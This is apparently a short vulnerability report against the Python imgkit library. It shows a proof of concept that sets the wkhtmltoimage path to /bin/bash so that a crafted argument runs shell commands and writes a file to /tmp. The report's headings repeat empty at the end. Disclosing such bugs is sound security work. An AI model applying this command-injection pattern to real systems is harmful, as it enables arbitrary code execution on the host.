The bug
wkhtmltoimage parameter can be used to spawn bash commands
Proof of Concept
import imgkit
config = imgkit.config(wkhtmltoimage="/bin/bash")
imgkit.from_url("-c", "'uname' && echo \'injected\' > /tmp/spawned.txt", config=config)
Screenshots

Environment
- OS: macOS Mojave 10.14.6
- IMGkit Version: imgkit-1.2.2
- wkhtmltopdf version: wkhtmltopdf 0.12.6
- wkhtmltoimage version: wkhtmltoimage 0.12.6
The bug
wkhtmltoimage parameter can be used to spawn bash commands
Proof of Concept
Screenshots
Environment